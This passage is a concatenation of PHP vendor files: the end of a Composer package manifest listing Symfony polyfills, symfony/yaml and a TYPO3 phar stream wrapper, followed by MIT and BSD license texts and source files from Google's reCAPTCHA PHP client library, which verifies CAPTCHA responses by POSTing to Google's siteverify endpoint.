        "description": "Symfony polyfill backporting some
PHP 5.5+ features to lower PHP versions",
        "homepage": "https://symfony.com",
        "keywords": [
            "compatibility",
            "polyfill",
            "portable",
            "shim"
        ]
    },
    {
        "name": "symfony/polyfill-php56",
        "version": "v1.18.1",
        "version_normalized": "1.18.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/polyfill-php56.git",
            "reference":
"13df84e91cd168f247c2f2ec82cc0fa24901c011"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/polyfill-php56/zipball/13df84e91cd168f247c2f2ec82cc0fa24901c011",
            "reference":
"13df84e91cd168f247c2f2ec82cc0fa24901c011",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.3",
            "symfony/polyfill-util": "~1.0"
        },
        "time": "2020-07-14T12:35:20+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.18-dev"
            },
            "thanks": {
                "name": "symfony/polyfill",
                "url":
"https://github.com/symfony/polyfill"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Polyfill\\Php56\\": ""
            },
            "files": [
                "bootstrap.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Nicolas Grekas",
                "email": "p@tchwork.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
        "description": "Symfony polyfill backporting some
PHP 5.6+ features to lower PHP versions",
        "homepage": "https://symfony.com",
        "keywords": [
            "compatibility",
            "polyfill",
            "portable",
            "shim"
        ]
    },
    {
        "name": "symfony/polyfill-php71",
        "version": "v1.18.1",
        "version_normalized": "1.18.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/polyfill-php71.git",
            "reference":
"28b8b32d6905857a82597d9a0b3463a264e9d367"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/polyfill-php71/zipball/28b8b32d6905857a82597d9a0b3463a264e9d367",
            "reference":
"28b8b32d6905857a82597d9a0b3463a264e9d367",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.3"
        },
        "time": "2020-07-14T12:35:20+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.18-dev"
            },
            "thanks": {
                "name": "symfony/polyfill",
                "url":
"https://github.com/symfony/polyfill"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Polyfill\\Php71\\": ""
            },
            "files": [
                "bootstrap.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Nicolas Grekas",
                "email": "p@tchwork.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
        "description": "Symfony polyfill backporting some
PHP 7.1+ features to lower PHP versions",
        "homepage": "https://symfony.com",
        "keywords": [
            "compatibility",
            "polyfill",
            "portable",
            "shim"
        ]
    },
    {
        "name": "symfony/polyfill-php73",
        "version": "v1.18.1",
        "version_normalized": "1.18.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/polyfill-php73.git",
            "reference":
"fffa1a52a023e782cdcc221d781fe1ec8f87fcca"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/polyfill-php73/zipball/fffa1a52a023e782cdcc221d781fe1ec8f87fcca",
            "reference":
"fffa1a52a023e782cdcc221d781fe1ec8f87fcca",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.3"
        },
        "time": "2020-07-14T12:35:20+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.18-dev"
            },
            "thanks": {
                "name": "symfony/polyfill",
                "url":
"https://github.com/symfony/polyfill"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Polyfill\\Php73\\": ""
            },
            "files": [
                "bootstrap.php"
            ],
            "classmap": [
                "Resources/stubs"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Nicolas Grekas",
                "email": "p@tchwork.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
        "description": "Symfony polyfill backporting some
PHP 7.3+ features to lower PHP versions",
        "homepage": "https://symfony.com",
        "keywords": [
            "compatibility",
            "polyfill",
            "portable",
            "shim"
        ]
    },
    {
        "name": "symfony/polyfill-util",
        "version": "v1.18.1",
        "version_normalized": "1.18.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/polyfill-util.git",
            "reference":
"46b910c71e9828f8ec2aa7a0314de1130d9b295a"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/polyfill-util/zipball/46b910c71e9828f8ec2aa7a0314de1130d9b295a",
            "reference":
"46b910c71e9828f8ec2aa7a0314de1130d9b295a",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.3"
        },
        "time": "2020-07-14T12:35:20+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.18-dev"
            },
            "thanks": {
                "name": "symfony/polyfill",
                "url":
"https://github.com/symfony/polyfill"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Polyfill\\Util\\": ""
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Nicolas Grekas",
                "email": "p@tchwork.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
        "description": "Symfony utilities for portability of
PHP codes",
        "homepage": "https://symfony.com",
        "keywords": [
            "compat",
            "compatibility",
            "polyfill",
            "shim"
        ]
    },
    {
        "name": "symfony/yaml",
        "version": "v2.8.52",
        "version_normalized": "2.8.52.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/yaml.git",
            "reference":
"02c1859112aa779d9ab394ae4f3381911d84052b"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/yaml/zipball/02c1859112aa779d9ab394ae4f3381911d84052b",
            "reference":
"02c1859112aa779d9ab394ae4f3381911d84052b",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.9",
            "symfony/polyfill-ctype": "~1.8"
        },
        "time": "2018-11-11T11:18:13+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "2.8-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Component\\Yaml\\": ""
            },
            "exclude-from-classmap": [
                "/Tests/"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Fabien Potencier",
                "email": "fabien@symfony.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
        "description": "Symfony Yaml Component",
        "homepage": "https://symfony.com"
    },
    {
        "name": "typo3/phar-stream-wrapper",
        "version": "v2.2.0",
        "version_normalized": "2.2.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/TYPO3/phar-stream-wrapper.git",
            "reference":
"5e6269b8a54c5fe82322692f26f10dcd5e4532a1"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/TYPO3/phar-stream-wrapper/zipball/5e6269b8a54c5fe82322692f26f10dcd5e4532a1",
            "reference":
"5e6269b8a54c5fe82322692f26f10dcd5e4532a1",
            "shasum": ""
        },
        "require": {
            "brumann/polyfill-unserialize": "^1.0 ||
^2.0",
            "ext-json": "*",
            "php": "^5.3.3 || ^7.0"
        },
        "require-dev": {
            "ext-xdebug": "*",
            "phpunit/phpunit": "^4.8.36"
        },
        "suggest": {
            "ext-fileinfo": "For PHP builtin file type
guessing, otherwise uses internal processing"
        },
        "time": "2020-07-27T09:17:38+00:00",
        "type": "library",
        "installation-source": "source",
        "autoload": {
            "psr-4": {
                "TYPO3\\PharStreamWrapper\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "description": "Interceptors for PHP's native
phar:// stream handling",
        "homepage": "https://typo3.org/",
        "keywords": [
            "phar",
            "php",
            "security",
            "stream-wrapper"
        ]
    }
]

Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

Copyright 2014, Google Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

    * Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
    * Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

<?php

/* An autoloader for ReCaptcha\Foo classes. This should be require()d
 * by the user before attempting to instantiate any of the ReCaptcha
 * classes.
 */

spl_autoload_register(function ($class) {
    if (substr($class, 0, 10) !== 'ReCaptcha\\') {
      /* If the class does not lie under the "ReCaptcha"
namespace,
       * then we can exit immediately.
       */
      return;
    }

    /* All of the classes have names like "ReCaptcha\Foo", so we
need
     * to replace the backslashes with frontslashes if we want the
     * name to map directly to a location in the filesystem.
     */
    $class = str_replace('\\', '/', $class);

    /* First, check under the current directory. It is important that
     * we look here first, so that we don't waste time searching for
     * test classes in the common case.
     */
    $path = dirname(__FILE__).'/'.$class.'.php';
    if (is_readable($path)) {
        require_once $path;
    }

    /* If we didn't find what we're looking for already, maybe
it's
     * a test class?
     */
    $path =
dirname(__FILE__).'/../tests/'.$class.'.php';
    if (is_readable($path)) {
        require_once $path;
    }
});
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha;

/**
 * reCAPTCHA client.
 */
class ReCaptcha
{
    /**
     * Version of this client library.
     * @const string
     */
    const VERSION = 'php_1.1.2';

    /**
     * Shared secret for the site.
     * @var type string
     */
    private $secret;

    /**
     * Method used to communicate  with service. Defaults to POST request.
     * @var RequestMethod
     */
    private $requestMethod;

    /**
     * Create a configured instance to use the reCAPTCHA service.
     *
     * @param string $secret shared secret between site and reCAPTCHA
server.
     * @param RequestMethod $requestMethod method used to send the request.
Defaults to POST.
     */
    public function __construct($secret, RequestMethod $requestMethod =
null)
    {
        if (empty($secret)) {
            throw new \RuntimeException('No secret provided');
        }

        if (!is_string($secret)) {
            throw new \RuntimeException('The provided secret must be a
string');
        }

        $this->secret = $secret;

        if (!is_null($requestMethod)) {
            $this->requestMethod = $requestMethod;
        } else {
            $this->requestMethod = new RequestMethod\Post();
        }
    }

    /**
     * Calls the reCAPTCHA siteverify API to verify whether the user passes
     * CAPTCHA test.
     *
     * @param string $response The value of
'g-recaptcha-response' in the submitted form.
     * @param string $remoteIp The end user's IP address.
     * @return Response Response from the service.
     */
    public function verify($response, $remoteIp = null)
    {
        // Discard empty solution submissions
        if (empty($response)) {
            $recaptchaResponse = new Response(false,
array('missing-input-response'));
            return $recaptchaResponse;
        }

        $params = new RequestParameters($this->secret, $response,
$remoteIp, self::VERSION);
        $rawResponse = $this->requestMethod->submit($params);
        return Response::fromJson($rawResponse);
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha\RequestMethod;

/**
 * Convenience wrapper around the cURL functions to allow mocking.
 */
class Curl
{

    /**
     * @see http://php.net/curl_init
     * @param string $url
     * @return resource cURL handle
     */
    public function init($url = null)
    {
        return curl_init($url);
    }

    /**
     * @see http://php.net/curl_setopt_array
     * @param resource $ch
     * @param array $options
     * @return bool
     */
    public function setoptArray($ch, array $options)
    {
        return curl_setopt_array($ch, $options);
    }

    /**
     * @see http://php.net/curl_exec
     * @param resource $ch
     * @return mixed
     */
    public function exec($ch)
    {
        return curl_exec($ch);
    }

    /**
     * @see http://php.net/curl_close
     * @param resource $ch
     */
    public function close($ch)
    {
        curl_close($ch);
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha\RequestMethod;

use ReCaptcha\RequestMethod;
use ReCaptcha\RequestParameters;

/**
 * Sends cURL request to the reCAPTCHA service.
 * Note: this requires the cURL extension to be enabled in PHP
 * @see http://php.net/manual/en/book.curl.php
 */
class CurlPost implements RequestMethod
{
    /**
     * URL to which requests are sent via cURL.
     * @const string
     */
    const SITE_VERIFY_URL =
'https://www.google.com/recaptcha/api/siteverify';

    /**
     * Curl connection to the reCAPTCHA service
     * @var Curl
     */
    private $curl;

    public function __construct(Curl $curl = null)
    {
        if (!is_null($curl)) {
            $this->curl = $curl;
        } else {
            $this->curl = new Curl();
        }
    }

    /**
     * Submit the cURL request with the specified parameters.
     *
     * @param RequestParameters $params Request parameters
     * @return string Body of the reCAPTCHA response
     */
    public function submit(RequestParameters $params)
    {
        $handle = $this->curl->init(self::SITE_VERIFY_URL);

        $options = array(
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $params->toQueryString(),
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/x-www-form-urlencoded'
            ),
            CURLINFO_HEADER_OUT => false,
            CURLOPT_HEADER => false,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => true
        );
        $this->curl->setoptArray($handle, $options);

        $response = $this->curl->exec($handle);
        $this->curl->close($handle);

        return $response;
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha\RequestMethod;

use ReCaptcha\RequestMethod;
use ReCaptcha\RequestParameters;

/**
 * Sends POST requests to the reCAPTCHA service.
 */
class Post implements RequestMethod
{
    /**
     * URL to which requests are POSTed.
     * @const string
     */
    const SITE_VERIFY_URL =
'https://www.google.com/recaptcha/api/siteverify';

    /**
     * Submit the POST request with the specified parameters.
     *
     * @param RequestParameters $params Request parameters
     * @return string Body of the reCAPTCHA response
     */
    public function submit(RequestParameters $params)
    {
        /**
         * PHP 5.6.0 changed the way you specify the peer name for SSL
context options.
         * Using "CN_name" will still work, but it will raise
deprecated errors.
         */
        $peer_key = version_compare(PHP_VERSION, '5.6.0',
'<') ? 'CN_name' : 'peer_name';
        $options = array(
            'http' => array(
                'header' => "Content-type:
application/x-www-form-urlencoded\r\n",
                'method' => 'POST',
                'content' => $params->toQueryString(),
                // Force the peer to validate (not needed in 5.6.0+, but
still works
                'verify_peer' => true,
                // Force the peer validation to use www.google.com
                $peer_key => 'www.google.com',
            ),
        );
        $context = stream_context_create($options);
        return file_get_contents(self::SITE_VERIFY_URL, false, $context);
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha\RequestMethod;

/**
 * Convenience wrapper around native socket and file functions to allow for
 * mocking.
 */
class Socket
{
    private $handle = null;

    /**
     * fsockopen
     *
     * @see http://php.net/fsockopen
     * @param string $hostname
     * @param int $port
     * @param int $errno
     * @param string $errstr
     * @param float $timeout
     * @return resource
     */
    public function fsockopen($hostname, $port = -1, &$errno = 0,
&$errstr = '', $timeout = null)
    {
        $this->handle = fsockopen($hostname, $port, $errno, $errstr,
(is_null($timeout) ? ini_get("default_socket_timeout") :
$timeout));

        if ($this->handle != false && $errno === 0 &&
$errstr === '') {
            return $this->handle;
        } else {
            return false;
        }
    }

    /**
     * fwrite
     *
     * @see http://php.net/fwrite
     * @param string $string
     * @param int $length
     * @return int | bool
     */
    public function fwrite($string, $length = null)
    {
        return fwrite($this->handle, $string, (is_null($length) ?
strlen($string) : $length));
    }

    /**
     * fgets
     *
     * @see http://php.net/fgets
     * @param int $length
     * @return string
     */
    public function fgets($length = null)
    {
        return fgets($this->handle, $length);
    }

    /**
     * feof
     *
     * @see http://php.net/feof
     * @return bool
     */
    public function feof()
    {
        return feof($this->handle);
    }

    /**
     * fclose
     *
     * @see http://php.net/fclose
     * @return bool
     */
    public function fclose()
    {
        return fclose($this->handle);
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha\RequestMethod;

use ReCaptcha\RequestMethod;
use ReCaptcha\RequestParameters;

/**
 * Sends a POST request to the reCAPTCHA service, but makes use of
fsockopen()
 * instead of get_file_contents(). This is to account for people who may be
on
 * servers where allow_furl_open is disabled.
 */
class SocketPost implements RequestMethod
{
    /**
     * reCAPTCHA service host.
     * @const string
     */
    const RECAPTCHA_HOST = 'www.google.com';

    /**
     * @const string reCAPTCHA service path
     */
    const SITE_VERIFY_PATH = '/recaptcha/api/siteverify';

    /**
     * @const string Bad request error
     */
    const BAD_REQUEST = '{"success": false,
"error-codes": ["invalid-request"]}';

    /**
     * @const string Bad response error
     */
    const BAD_RESPONSE = '{"success": false,
"error-codes": ["invalid-response"]}';

    /**
     * Socket to the reCAPTCHA service
     * @var Socket
     */
    private $socket;

    /**
     * Constructor
     *
     * @param \ReCaptcha\RequestMethod\Socket $socket optional socket,
injectable for testing
     */
    public function __construct(Socket $socket = null)
    {
        if (!is_null($socket)) {
            $this->socket = $socket;
        } else {
            $this->socket = new Socket();
        }
    }

    /**
     * Submit the POST request with the specified parameters.
     *
     * @param RequestParameters $params Request parameters
     * @return string Body of the reCAPTCHA response
     */
    public function submit(RequestParameters $params)
    {
        $errno = 0;
        $errstr = '';

        if (false === $this->socket->fsockopen('ssl://' .
self::RECAPTCHA_HOST, 443, $errno, $errstr, 30)) {
            return self::BAD_REQUEST;
        }

        $content = $params->toQueryString();

        $request = "POST " . self::SITE_VERIFY_PATH . "
HTTP/1.1\r\n";
        $request .= "Host: " . self::RECAPTCHA_HOST .
"\r\n";
        $request .= "Content-Type:
application/x-www-form-urlencoded\r\n";
        $request .= "Content-length: " . strlen($content) .
"\r\n";
        $request .= "Connection: close\r\n\r\n";
        $request .= $content . "\r\n\r\n";

        $this->socket->fwrite($request);
        $response = '';

        while (!$this->socket->feof()) {
            $response .= $this->socket->fgets(4096);
        }

        $this->socket->fclose();

        if (0 !== strpos($response, 'HTTP/1.1 200 OK')) {
            return self::BAD_RESPONSE;
        }

        $parts = preg_split("#\n\s*\n#Uis", $response);

        return $parts[1];
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha;

/**
 * Method used to send the request to the service.
 */
interface RequestMethod
{

    /**
     * Submit the request with the specified parameters.
     *
     * @param RequestParameters $params Request parameters
     * @return string Body of the reCAPTCHA response
     */
    public function submit(RequestParameters $params);
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha;

/**
 * Stores and formats the parameters for the request to the reCAPTCHA
service.
 */
class RequestParameters
{
    /**
     * Site secret.
     * @var string
     */
